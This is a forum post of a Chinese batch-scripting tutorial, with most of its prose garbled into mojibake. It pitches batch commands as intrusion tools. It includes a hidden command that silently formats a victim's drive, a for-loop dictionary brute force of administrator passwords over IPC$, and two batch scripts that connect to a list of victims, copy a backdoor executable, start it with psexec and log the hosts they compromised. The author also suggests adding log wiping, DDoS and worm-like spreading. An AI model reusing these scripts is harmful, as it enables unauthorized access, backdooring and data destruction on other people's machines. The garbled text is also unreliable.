Board logo

¼ÐÃD: §å¦¸³B²z©R¥O¤j¥þ [¥´¦L¥»­¶]

§@ªÌ: wen    ®É¶¡: 2008-10-30 22:31     ¼ÐÃD: §å¦¸³B²z©R¥O¤j¥þ

§å¦¸³B²z©R¥O¤j¥þ

.Echo ©R¥O
¥´¶}¦^Åã©ÎÃö³¬½Ð¨D¦^Åã¥\¯à¡A©ÎÅã¥Ü®ø®§¡C¦pªG¨S¦³¥ô¦ó°Ñ¼Æ¡Aecho ©R¥O±NÅã¥Ü·í«e¦^Åã³]¸m¡C
»yªk
echo [{on|off}] [message]
Sample¡Gecho off / echo hello world
¦b¹ê»ÚÀ³¥Î¤¤§Ú­Ì·|§â³o±ø©R¥O©M­«©w¦V²Å¸¹¡]¤]ºÙ¬°ºÞ¹D²Å¸¹¡A¤@¯ë¥Î> >> ^¡^µ²¦X¨Ó¹ê²{¿é¤J¤@¨Ç©R¥O¨ì¯S©w®æ¦¡ªºÀɤ¤.³o±N¦b¥H«áªº¨Ò¤l¤¤Åé²{¥X¨Ó¡C

2.@ ©R¥O
ªí¥Ü¤£Åã¥Ü@«á­±ªº©R¥O¡A¦b¤J«I¹Lµ{¤¤¡]¨Ò¦p¨Ï¥Î§å¦¸³B²z¨Ó®æ¦¡¤Æ¼Ä¤HªºµwºÐ¡^¦ÛµM¤£¯àÅý¹ï¤è¬Ý¨ì§A¨Ï¥Îªº©R¥O°Õ¡C
Sample¡G@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format ³o­Ó©R¥O¬O¤£¥i¥H¨Ï¥Î/y³o­Ó°Ñ¼Æªº¡A¥i³ßªº¬O·L³n¯d¤F­Óautoset³o­Ó°Ñ¼Æµ¹§Ú­Ì¡A®ÄªG©M/y¬O¤@¼Ëªº¡C)

3.Goto ©R¥O
«ü©w¸õÂà¨ì¼ÐÅÒ¡A§ä¨ì¼ÐÅÒ«á¡Aµ{¦¡±N³B²z±q¤U¤@¦æ¶}©lªº©R¥O¡C
»yªk¡Ggoto label ¡]label¬O°Ñ¼Æ¡A«ü©w©Ò­nÂà¦Vªº§å¦¸³B²zµ{¦¡¤¤ªº¦æ¡C¡^
Sample¡G
if {%1}=={} goto noparms
if {%2}=={} goto noparms¡]¦pªG³oùتºif¡B%1¡B%2§A¤£©ú¥Õªº¸Ü¡A¥ý¸õ¹L¥h¡A«á­±·|¦³¸Ô²Óªº¸ÑÄÀ¡C¡^
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
¼ÐÅÒªº¦W¦r¥i¥HÀH«K°_¡A¦ý¬O³Ì¦n¬O¦³·N¸qªº¦r¥À°Õ¡A¦r¥À«e¥[­Ó¡G¥Î¨Óªí¥Ü³o­Ó¦r¥À¬O¼ÐÅÒ¡Agoto©R¥O´N¬O®Ú¾Ú³o­Ó¡G¨Ó´M§ä¤U¤@¨B¸õ¨ì¨ì¨ºùØ¡C³Ì¦n¦³¤@¨Ç»¡©ú³o¼Ë§A§O¤H¬Ý°_¨Ó¤~·|²z¸Ñ§Aªº·N¹Ï°Ú¡C

4.Rem ©R¥O
ª`ÄÀ©R¥O¡A¦bC»y¨¥¤¤¬Û·í»P/*--------*/,¥¦¨Ã¤£·|³Q°õ¦æ¡A¥u¬O°_¤@­Óª`ÄÀªº§@¥Î¡A«K©ó§O¤H¾\Ū©M§A¦Û¤v¤é«á­×§ï¡C
Rem Message
Sample¡G@Rem Here is the deion.

5.Pause ©R¥O
¹B¦æ Pause ©R¥O®É¡A±NÅã¥Ü¤UÄѪº®ø®§¡G
Press any key to continue . . .
Sample¡G
@echo off
:begin
copy a:*.* d¡G\back
echo Please put a new disk into driver A
pause
goto begin
¦b³o­Ó¨Ò¤l¤¤¡AÅX°Ê¾¹ A ¤¤ºÏ¤ù¤Wªº©Ò¦³Àɧ¡½Æ»s¨ìd:\back¤¤¡CÅã¥Üªºª`ÄÀ´£¥Ü±z±N¥t¤@±iºÏ¤ù©ñ¤JÅX°Ê¾¹ A ®É¡Apause ©R¥O·|¨Ïµ{¦¡±¾°_¡A¥H«K±z§ó´«ºÏ¤ù¡AµM«á«ö¥ô·NÁäÄ~Äò³B²z¡C

6.Call ©R¥O
±q¤@­Ó§å¦¸³B²zµ{¦¡½Õ¥Î¥t¤@­Ó§å¦¸³B²zµ{¦¡¡A¨Ã¥B¤£²×¤î¤÷§å¦¸³B²zµ{¦¡¡Ccall ©R¥O±µ¨ü¥Î§@½Õ¥Î¥Ø¼Ðªº¼ÐÅÒ¡C¦pªG¦b¸}¥»©Î§å¦¸ÀÉ®×¥~¨Ï¥Î Call¡A¥¦±N¤£·|¦b©R¥O¦æ°_§@¥Î¡C
»yªk
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
°Ñ¼Æ
[Drive:}[Path] FileName
«ü©w­n½Õ¥Îªº§å¦¸³B²zµ{¦¡ªº¦ì¸m©M¦WºÙ¡Cfilename °Ñ¼Æ¥²¶·¨ã¦³ .bat ©Î .cmd °ÆÀɦW¡C

7.start ©R¥O
½Õ¥Î¥~³¡µ{¦¡¡A©Ò¦³ªºDOS©R¥O©M©R¥O¦æµ{¦¡³£¥i¥H¥Ñstart©R¥O¨Ó½Õ¥Î¡C
¤J«I±`¥Î°Ñ¼Æ¡G
MIN ¶}©l®Éµøµ¡³Ì¤p¤Æ
SEPARATE ¦b¤À¶}ªºªÅ¶¡¤º¶}©l 16 ¦ì¤¸ Windows µ{¦¡
HIGH ¦b HIGH Àu¥ý¶¶§ÇÃþ§O¶}©lÀ³¥Îµ{¦¡
REALTIME ¦b REALTIME Àu¥ý¶¶§ÇÃþ§O¶}©lÀ³¥Îµ{¦¡
WAIT ±Ò°ÊÀ³¥Îµ{¦¡¨Ãµ¥­Ô¥¦µ²§ô
parameters ³o¨Ç¬°¶Ç°e¨ì©R¥O/µ{¦¡ªº°Ñ¼Æ
°õ¦æªºÀ³¥Îµ{¦¡¬O 32-¦ì¤¸ GUI À³¥Îµ{¦¡®É¡ACMD.EXE ¤£µ¥À³¥Îµ{¦¡²×¤î´Nªð¦^©R¥O´£¥Ü¡C¦pªG¦b©R¥O¸}¥»¤º°õ¦æ¡A¸Ó·s¦æ¬°«h¤£·|µo¥Í¡C
8.choice ©R¥O
choice ¨Ï¥Î¦¹©R¥O¥i¥HÅý¥Î¤á¿é¤J¤@­Ó¦r¤¸¡A±q¦Ó¹B¦æ¤£¦Pªº©R¥O¡C¨Ï¥Î®ÉÀ³¸Ó¥[/c:°Ñ¼Æ¡Ac:«áÀ³¼g´£¥Ü¥i¿é¤Jªº¦r¤¸¡A¤§¶¡µLªÅ®æ¡C¥¦ªºªð¦^½X¬°1234¡K¡K

¦p: choice /c:dme defrag,mem,end
±NÅã¥Ü
defrag,mem,end[D,M,E]?
Sample¡G
Sample.batªº¤º®e¦p¤U:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag ¡]À³¥ý§PÂ_¼Æ­È³Ì°ªªº¿ù»~½X¡^
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

¦¹ÀɹB¦æ«á¡A±NÅã¥Ü defrag,mem,end[D,M,E]? ¥Î¤á¥i¿ï¾Üd m e ¡AµM«áif»y¥y±N§@¥X§PÂ_¡Adªí¥Ü°õ¦æ¼Ð¸¹¬°defragªºµ{¦¡¬q¡Amªí¥Ü°õ¦æ¼Ð¸¹¬°memªºµ{¦¡¬q¡Aeªí¥Ü°õ¦æ¼Ð¸¹¬°endªºµ{¦¡¬q¡A¨C­Óµ{¦¡¬q³Ì«á³£¥Hgoto end±Nµ{¦¡¸õ¨ìend¼Ð¸¹³B¡AµM«áµ{¦¡±NÅã¥Ügood bye¡AÀɵ²§ô¡C

9.If ©R¥O

if ªí¥Ü±N§PÂ_¬O§_²Å¦X³W©wªº±ø¥ó¡A±q¦Ó¨M©w°õ¦æ¤£¦Pªº©R¥O¡C ¦³¤TºØ®æ¦¡:
1¡Bif "°Ñ¼Æ" == "¦r¦ê" «Ý°õ¦æªº©R¥O
°Ñ¼Æ¦pªGµ¥©ó«ü©wªº¦r¦ê¡A«h±ø¥ó¦¨¥ß¡A¹B¦æ©R¥O¡A§_«h¹B¦æ¤U¤@¥y¡C(ª`·N¬O¨â­Óµ¥¸¹¡^
¦pif "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2¡Bif exist ÀɮצW «Ý°õ¦æªº©R¥O
¦pªG¦³«ü©wªºÀÉ¡A«h±ø¥ó¦¨¥ß¡A¹B¦æ©R¥O¡A§_«h¹B¦æ¤U¤@¥y¡C
¦pif exist config.sys edit config.sys

3¡Bif errorlevel / if not errorlevel ¼Æ¦ì «Ý°õ¦æªº©R¥O
¦pªGªð¦^½Xµ¥©ó«ü©wªº¼Æ¦r¡A«h±ø¥ó¦¨¥ß¡A¹B¦æ©R¥O¡A§_«h¹B¦æ¤U¤@¥y¡C
¦pif errorlevel 2 goto x2
DOSµ{¦¡¹B¦æ®É³£·|ªð¦^¤@­Ó¼Æ¦ìµ¹DOS¡AºÙ¬°¿ù»~½Xerrorlevel©ÎºÙªð¦^½X¡A±`¨£ªºªð¦^½X¬°0¡B1¡C

10.for ©R¥O
for ©R¥O¬O¤@­Ó¤ñ¸û½ÆÂøªº©R¥O¡A¥D­n¥Î©ó°Ñ¼Æ¦b«ü©wªº½d³ò¤º°j°é°õ¦æ©R¥O¡C
¦b§å¦¸Àɮפ¤¨Ï¥Î FOR ©R¥O®É¡A«ü©wÅܼƽШϥΠ%%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable «ü©w¤@­Ó³æ¤@¦r¥À¥i´À´«ªº°Ñ¼Æ¡C
(set) «ü©w¤@­Ó©Î¤@²ÕÀÉ¡C¥i¥H¨Ï¥Î³q°t²Å¡C
command «ü©w¹ï¨C­ÓÀÉ°õ¦æªº©R¥O¡C
command-parameters ¬°¯S©w©R¥O«ü©w°Ñ¼Æ©Î©R¥O¦æ¶}Ãö¡C
¦b§å¦¸Àɮפ¤¨Ï¥Î FOR ©R¥O®É¡A«ü©wÅܼƽШϥΠ%%variable
¦Ó¤£­n¥Î %variable¡CÅܼƦWºÙ¬O°Ï¤À¤j¤p¼gªº¡A©Ò¥H %i ¤£¦P©ó %I

¦pªG©R¥O°ÆÀɦW³Q±Ò¥Î¡A¤U¦CÃB¥~ªº FOR ©R¥O®æ¦¡·|¨ü¨ì
¤ä«ù:

FOR /D %variable IN (set) DO command [command-parameters]

¦pªG¶°¤¤¥]§t³q°t²Å¡A«h«ü©w»P¥Ø¿ý¦W¤Ç°t¡A¦Ó¤£»PÀÉ
¦W¤Ç°t¡C

FOR /R [[drive:]path] %variable IN (set) DO command [command-

Àˬd¥H [drive:]path ¬°®Úªº¥Ø¿ý¾ð¡A«ü¦V¨C­Ó¥Ø¿ý¤¤ªº
FOR »y¥y¡C¦pªG¦b /R «á¨S¦³«ü©w¥Ø¿ý¡A«h¨Ï¥Î·í«e
¥Ø¿ý¡C¦pªG¶°¶È¬°¤@­Ó³æÂI(.)¦r¤¸¡A«hªTÁ|¸Ó¥Ø¿ý¾ð¡C

FOR /L %variable IN (start,step,end) DO command [command-para

¸Ó¶°ªí¥Ü¥H¼W¶q§Î¦¡±q¶}©l¨ìµ²§ôªº¤@­Ó¼Æ¦r§Ç¦C¡C
¦]¦¹¡A(1,1,5) ±N²£¥Í§Ç¦C 1 2 3 4 5¡A(5,-1,1) ±N²£¥Í
§Ç¦C (5 4 3 2 1)¡C

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

©ÎªÌ¡A¦pªG¦³ usebackq ¿ï¶µ:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset ¬°¤@­Ó©Î¦h­ÓÀɮצW¡CÄ~Äò¨ì filenameset ¤¤ªº
¤U¤@­ÓÀɤ§«e¡A¨C¥÷Àɳ£¤w³Q¥´¶}¡BŪ¨ú¨Ã¸g¹L³B²z¡C
³B²z¥]¬AŪ¨úÀÉ¡A±N¨ä¤À¦¨¤@¦æ¦æªº¤å¦r¡AµM«á±N¨C¦æ
¸ÑªR¦¨¹s©Î§ó¦hªº²Å¸¹¡CµM«á¥Î¤w§ä¨ìªº²Å¸¹¦r¦êÅܼƭÈ
½Õ¥Î For °j°é¡C¥HÀq»{¤è¦¡¡A/F ³q¹L¨C­ÓÀɪº¨C¤@¦æ¤¤¤À¶}
ªº²Ä¤@­ÓªÅ¥Õ²Å¸¹¡C¸õ¹LªÅ¥Õ¦æ¡C±z¥i³q¹L«ü©w¥i¿ï "options"
°Ñ¼Æ´À¥NÀq»{¸ÑªR¾Þ§@¡C³o­Ó±a¤Þ¸¹ªº¦r¦ê¥]¬A¤@­Ó©Î¦h­Ó
«ü©w¤£¦P¸ÑªR¿ï¶µªºÃöÁä¦r¡C³o¨ÇÃöÁä¦r¬°:

eol=c - «ü¤@­Ó¦æª`ÄÀ¦r¤¸ªºµ²§À(´N¤@­Ó)
skip=n - «ü¦bÀɶ}©l®É©¿²¤ªº¦æ¼Æ¡C
delims=xxx - «ü¤À¹j²Å¸¹¸¹¶°¡C³o­Ó´À´«¤FªÅ®æ©M¸õ®æÁ䪺
Àq»{¤À¹j²Å¸¹¸¹¶°¡C
tokens=x,y,m-n - «ü¨C¦æªº­þ¤@­Ó²Å¸¹³Q¶Ç»¼¨ì¨C­Ó­¡¥N
ªº for ¥»¨­¡C³o·|¾É­PÃB¥~ÅܼƦWºÙªº
®æ¦¡¬°¤@­Ó½d³ò¡C³q¹L nth ²Å¸¹«ü©w m
²Å¸¹¦r¦ê¤¤ªº³Ì«á¤@­Ó¦r¤¸¬P¸¹¡A
¨º»òÃB¥~ªºÅܼƱN¦b³Ì«á¤@­Ó²Å¸¹¸ÑªR¤§
¤À°t¨Ã±µ¨ü¦æªº«O¯d¤å¥»¡C
usebackq - «ü©w·s»yªk¤w¦b¤UÃþ±¡ªp¤¤¨Ï¥Î:
¦b§@¬°©R¥O°õ¦æ¤@­Ó«á¤Þ¸¹ªº¦r¦ê¨Ã¥B
¤Þ¸¹¦r¤¸¬°¤å¦r¦r¦ê©R¥O¨Ã¤¹³\¦b fi
¤¤¨Ï¥ÎÂù¤Þ¸¹ÂX°_ÀɮצWºÙ¡C

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

·|¤ÀªR myfile.txt ¤¤ªº¨C¤@¦æ¡A©¿²¤¥H¤À¸¹¥´ÀYªº¨º¨Ç¦æ¡A±N
¨C¦æ¤¤ªº²Ä¤G­Ó©M²Ä¤T­Ó²Å¸¹¶Ç»¼µ¹ for µ{¦¡Åé¡F¥Î³r¸¹©M/©Î
ªÅ®æ©w¬É²Å¸¹¡C½Ðª`·N¡A³o­Ó for µ{¦¡Å骺»y¥y¤Þ¥Î %i ¨Ó
¨ú±o²Ä¤G­Ó²Å¸¹¡A¤Þ¥Î %j ¨Ó¨ú±o²Ä¤T­Ó²Å¸¹¡A¤Þ¥Î %k
¨Ó¨ú±o²Ä¤T­Ó²Å¸¹«áªº©Ò¦³³Ñ¾l²Å¸¹¡C¹ï©ó±a¦³ªÅ®æªº¤å¥ó
¦W¡A±z»Ý­n¥ÎÂù¤Þ¸¹±NÀɮצW¬A°_¨Ó¡C¬°¤F¥Î³oºØ¤è¦¡¨Ó¨Ï
¥ÎÂù¤Þ¸¹¡A±zÁٻݭn¨Ï¥Î usebackq ¿ï¶µ¡A§_«h¡AÂù¤Þ¸¹·|
³Q²z¸Ñ¦¨¬O¥Î§@©w¸q¬Y­Ó­n¤ÀªRªº¦r¦êªº¡C

%i ±Mªù¦b for »y¥y¤¤±o¨ì»¡©ú¡A%j ©M %k ¬O³q¹L
tokens= ¿ï¶µ±Mªù±o¨ì»¡©úªº¡C±z¥i¥H³q¹L tokens= ¤@¦æ
«ü©w³Ì¦h 26 ­Ó²Å¸¹¡A¥u­n¤£¸Õ¹Ï»¡©ú¤@­Ó°ª©ó¦r¥À z ©Î
Z ªºÅܼơC½Ð°O¦í¡AFOR ÅܼƬO³æ¤@¦r¥À¡B¤À¤j¤p¼g©M¥þ§½ªº¡F
¦P®É¤£¯à¦³ 52 ­Ó¥H¤W³£¦b¨Ï¥Î¤¤¡C

±zÁÙ¥i¥H¦b¬Û¾F¦r¦ê¤W¨Ï¥Î FOR /F ¤ÀªRÅÞ¿è¡F¤èªk¬O¡A
¥Î³æ¤Þ¸¹±N¬A©·¤§¶¡ªº filenameset ¬A°_¨Ó¡C³o¼Ë¡A¸Ó¦r¤¸
¦ê·|³Q·í§@¤@­ÓÀɤ¤ªº¤@­Ó³æ¤@¿é¤J¦æ¡C

³Ì«á¡A±z¥i¥H¥Î FOR /F ©R¥O¨Ó¤ÀªR©R¥Oªº¿é¥X¡C¤èªk¬O¡A±N
¬A©·¤§¶¡ªº filenameset Åܦ¨¤@­Ó¤Ï¬A¦r¦ê¡C¸Ó¦r¦ê·|
³Q·í§@©R¥O¦æ¡A¶Ç»¼¨ì¤@­Ó¤l CMD.EXE¡A¨ä¿é¥X·|³Q§ì¶i
°O¾ÐÅé¡A¨Ã³Q·í§@ÀɤÀªR¡C¦]¦¹¡A¥H¤U¨Ò¤l:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

·|ªTÁ|·í«eÀô¹Ò¤¤ªºÀô¹ÒÅܼƦWºÙ¡C

¥t¥~¡AFOR ÅܼưѷӪº´À´«¤w³Q¼W±j¡C±z²{¦b¥i¥H¨Ï¥Î¤U¦C
¿ï¶µ»yªk:

~I - §R°£¥ô¦ó¤Þ¸¹(")¡AÂX¥R %I
%~fI - ±N %I ÂX¥R¨ì¤@­Ó§¹¥þ¦X®æªº¸ô®|¦W
%~dI - ¶È±N %I ÂX¥R¨ì¤@­ÓÅX°Ê¾¹¸¹
%~pI - ¶È±N %I ÂX¥R¨ì¤@­Ó¸ô®|
%~nI - ¶È±N %I ÂX¥R¨ì¤@­ÓÀɮצW
%~xI - ¶È±N %I ÂX¥R¨ì¤@­ÓÀÉ°ÆÀɦW
%~sI - ÂX¥Rªº¸ô®|¥u§t¦³µu¦W
%~aI - ±N %I ÂX¥R¨ìÀɪºÀÉÄÝ©Ê
%~tI - ±N %I ÂX¥R¨ìÀɪº¤é´Á/®É¶¡
%~zI - ±N %I ÂX¥R¨ì¤å¥óªº¤j¤p
%~$PATH:I - ¬d§ä¦C¦b¸ô®|Àô¹ÒÅܼƪº¥Ø¿ý¡A¨Ã±N %I ÂX¥R
¨ì§ä¨ìªº²Ä¤@­Ó§¹¥þ¦X®æªº¦WºÙ¡C¦pªGÀô¹ÒÅܼÆ
¥¼³Q©w¸q¡A©ÎªÌ¨S¦³§ä¨ìÀÉ¡A¦¹²Õ¦XÁä·|ÂX¥R
ªÅ¦r¦ê

¥i¥H²Õ¦X­×¹¢²Å¨Ó±o¨ì¦h­«µ²ªG:

%~dpI - ¶È±N %I ÂX¥R¨ì¤@­ÓÅX°Ê¾¹¸¹©M¸ô®|
%~nxI - ¶È±N %I ÂX¥R¨ì¤@­ÓÀɮצW©M°ÆÀɦW
%~fsI - ¶È±N %I ÂX¥R¨ì¤@­Ó±a¦³µu¦Wªº§¹¾ã¸ô®|¦W
%~dp$PATH:i - ¬d§ä¦C¦b¸ô®|Àô¹ÒÅܼƪº¥Ø¿ý¡A¨Ã±N %I ÂX¥R
¨ì§ä¨ìªº²Ä¤@­ÓÅX°Ê¾¹¸¹©M¸ô®|¡C
%~ftzaI - ±N %I ÂX¥R¨ìÃþ¦ü¿é¥X½u¸ôªº DIR

¦b¥H¤W¨Ò¤l¤¤¡A%I ©M PATH ¥i¥Î¨ä¥L¦³®Ä¼Æ­È¥N´À¡C%~ »yªk
¥Î¤@­Ó¦³®Äªº FOR ÅܼƦW²×¤î¡C¿ï¨úÃþ¦ü %I ªº¤j¼gÅܼƦW
¤ñ¸û©öŪ¡A¦Ó¥BÁקK»P¤£¤À¤j¤p¼gªº²Õ¦XÁä²V²c¡C

¥H¤W¬OMSªº©x¤èÀ°§U¡A¤U­±§Ú­ÌÁ|´X­Ó¨Ò¤l¨Ó¨ãÅ黡©ú¤@¤UFor©R¥O¦b¤J«I¤¤ªº¥Î³~¡C

sample2¡G

§Q¥ÎFor©R¥O¨Ó¹ê²{¹ï¤@¥x¥Ø¼ÐWin2k¥D¾÷ªº¼É¤O±K½X¯}¸Ñ¡C
§Ú­Ì¥Înet use \\ip\ipc$ "password" /u:"administrator"¨Ó¹Á¸Õ³o©M¥Ø¼Ð¥D¾÷¶i¦æ³s±µ¡A·í¦¨¥\®É°O¤U±K½X¡C
³Ì¥D­nªº©R¥O¬O¤@±ø¡Gfor /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
¥Îi%¨Óªí¥Üadminªº±K½X¡A¦bdict.txt¤¤³o­Ó¨úi%ªº­È¥Înet use ©R¥O¨Ó³s±µ¡CµM«á±Nµ{¦¡¹B¦æµ²ªG¶Ç»¼µ¹find©R¥O¡Ð¡Ð
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":©R¥O¦¨¥\§¹¦¨">>D:\ok.txt ¡A³o¼Ë´Nko¤F¡C

sample3¡G

§A¦³¨S¦³¹L¤âùئ³¤j¶q¦×Âûµ¥µÛ§A¥hºØ«áªù¡Ï¤ì°¨©O¡H¡A·í¼Æ¶q¯S§O¦hªº®É­Ô¡A­ì¥»«Ü¶}¤ßªº¤@¥ó¨Æ³£·|Åܱo«ÜÆ{´e¡G¡^¡C¤å³¹¶}ÀY´N½Í¨ì¨Ï¥Î§å¦¸ÀɮסA¥i¥H²¤Æ¤é±`©Î­«½Æ©Ê¥ô°È¡C¨º»ò¦p¦ó¹ê²{©O¡H¨þ¨þ¡A¬Ý¤U¥h§A´N·|©ú¥Õ¤F¡C

¥D­n©R¥O¤]¥u¦³¤@±ø¡G¡]¦b§å¦¸Àɮפ¤¨Ï¥Î FOR ©R¥O®É¡A«ü©wÅܼƨϥΠ%%variable¡^
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokensªº¥Îªk½Ð°Ñ¨£¤W­±ªºsample1¡A¦b³oùØ¥¦ªí¥Ü«ö¶¶§Ç±Nvictim.txt¤¤ªº¤º®e¶Ç»¼µ¹door.bat¤¤ªº°Ñ¼Æ%i %j %k¡C
¦Ócultivate.batµL«D´N¬O¥Înet use©R¥O¨Ó«Ø¥ßIPC$³s±µ¡A¨Ãcopy¤ì°¨¡Ï«áªù¨ìvictim¡AµM«á¥Îªð¦^½X¡]If errorlever =¡^¨Ó¿z¿ï¦¨¥\ºØ´Ó«áªùªº¥D¾÷¡A¨Ãecho¥X¨Ó¡A©ÎªÌecho¨ì«ü©wªºÀÉ¡C
delims= ªí¥Üvivtim.txt¤¤ªº¤º®e¬O¤@ªÅ®æ¨Ó¤À¹jªº¡C§Ú·Q¬Ý¨ì³oùاA¤]¤@©w©ú¥Õ³ovictim.txtùتº¤º®e¬O¤°»ò¼Ëªº¤F¡CÀ³¸Ó®Ú¾Ú%%i %%j %%kªí¥Üªºª«¥ó¨Ó±Æ¦C¡A¤@¯ë´N¬O ip password username¡C
¥N½XÂú§Î¡G

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ¡K¡K¡K¡KOK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
³o¥u¬O¤@­Ó¦Û°ÊºØ´Ó«áªù§å¦¸³B²zªºÂú§Î¡A¨â­Ó§å¦¸³B²z©M«áªùµ{¦¡¡]Windrv32.exe¡^,PSexec.exe»Ý©ñ¦b²Î¤@¥Ø¿ý¤U.§å¦¸³B²z¤º®e
©|¥iÂX®i,¨Ò¦p:¥[¤J²M°£¤é»x+DDOSªº¥\¯à,¥[¤J©w®É²K¥[¥Î¤áªº¥\¯à,§ó²`¤J¤@ÂI¥i¥H¨Ï¤§¨ã³Æ¦Û°Ê¶Ç¼½¥\¯à(įÂÎ).¦¹³B¤£¦h°µ敍­z,¦³¿³½ìªºªB¤Í¥i¦Û¦æ¬ã¨s.


[¼Ó ¥D] | Posted: 2006-05-30 03:14


¦Û¦b½ü¦^



C.R.S.T °õ¦æ±b¸¹

¯Å§O: ¬õ¯TºÞ²z²Õ
ºëµØ: 0
µo©«: 43
«Â±æ: 44 ÂI
ª÷¿ú: 430 RMB
°^Äm­È: 0 ÂI
½u¤W®É¶¡:25(¤p®É)
µù¥U®É¶¡:2006-04-19
³Ì«áµn¿ý:2006-05-30   

Re:[Âà¸ü]¤â§â¤â±Ð§A¼g§å¦¸³B²z

¸ê°T¨Ó·½¡G¬õ¯T¦w¥þ¤p²Õ¡]www.wolfexp.net¡^

½sªÌ¡G³o­Ó±Ðµ{©M§O¤£¤@¼Ëªº¦a¤è¦b©ówillsort½sª`¨ºùتº¤º®e¡A¬O§@ªÌ¦h¦~¨Óªº¤ß±o¡D
§å¦¸³B²zªº¤¶²Ð

°ÆÀɦW¬Obat(¦bnt/2000/xp/2003¤U¤]¥i¥H¬Ocmd)ªºÀÉ´N¬O§å¦¸ÀɮסC

==== willsort ½sª` =======================================
.bat¬Odos¤Uªº§å¦¸ÀÉ®×
.cmd¬Ont¤º®Ö©R¥O¦æÀô¹Òªº¥t¤@ºØ§å¦¸ÀÉ®×
±q§ó¼s¸qªº¨¤«×¨Ó¬Ý¡Aunixªºshell¸}¥»¥H¤Î¨ä¥L§@·~¨t²Î¬Æ¦ÜÀ³¥Îµ{¦¡¤¤¥Ñ¥~´ß¶i¦æ¸ÑÄÀ°õ¦æªº¤å¥»¡A³£¨ã¦³»P§å¦¸ÀɮפQ¤À¬Û¦üªº§@¥Î¡A¦Ó¥B¦P¼Ë¬O¥Ñ±M¥Î¸ÑÄÀ¾¹¥H¦æ¬°³æ¦ì¸ÑÄÀ°õ¦æ¡A³oºØ¤å¥»§Î¦¡§ó³q¥ÎªººÙ¿×¬O¸}¥»»y¨¥¡C©Ò¥H±q¬Y­Óµ{«×¤ÀªR¡Abatch, unix shell, awk, basic, perl µ¥¸}¥»»y¨¥³£¬O¤@¼Ëªº¡A¥u¤£¹LÀ³¥Îªº½d³ò©M¸ÑÄÀªº¥­»O¦U¦³¤£¦P¦Ó¤w¡C¬Æ¦Ü¦³¨ÇÀ³¥Îµ{¦¡¤´µMªu¥Î§å¦¸³B²z³o¤@ºÙ©I¡A¦Ó¨ä¤º®e©M°ÆÀɦW»Pdosªº§å¦¸³B²z«o¤S§¹¥þ¤£¦P¡C
===================================

­º¥ý§å¦¸Àɮ׬O¤@­Ó¤å¦rÀɮסA³o­ÓÀɪº¨C¤@¦æ³£¬O¤@±øDOS©R¥O¡]¤j³¡¤À®É­Ô´N¦n¶H§Ú­Ì¦bDOS´£¥Ü²Å¤U°õ¦æªº©R¥O¦æ¤@¼Ë¡^¡A§A¥i¥H¨Ï¥ÎDOS¤UªºEdit©ÎªÌWindowsªº°O¨Æ¥»(notepad)µ¥¥ô¦ó¤å¦rÀÉ®×½s¿è¤u¨ã³Ð«Ø©M­×§ï§å¦¸ÀɮסC

==== willsort ÃDª` ===================
§å¦¸Àɮפ¤§¹¥þ¥i¥H¨Ï¥Î«Ddos©R¥O¡A¬Æ¦Ü¥i¥H¨Ï¥Î¤£¨ã¦³¥i°õ¦æ¯S©Êªº´¶³q¸ê®Æ©ÊÀÉ¡A³o½t©ówindows¨t²Î³o­Ó·s«¬¸ÑÄÀ¥­»Oªº¯A¤J¡A¨Ï±o§å¦¸³B²zªºÀ³¥Î¶V¨Ó¶V"Ãä½t¤Æ"¡C©Ò¥H§Ú­Ì°Q½×ªº§å¦¸³B²zÀ³¸Ó­­©w¦bdosÀô¹Ò©ÎªÌ©R¥O¦æÀô¹Ò¤¤¡A§_«h«Ü¦hÆ[©À©M³]©w³£»Ý­n°µ¤ñ¸û¤jªºÅÜ°Ê¡C
========================

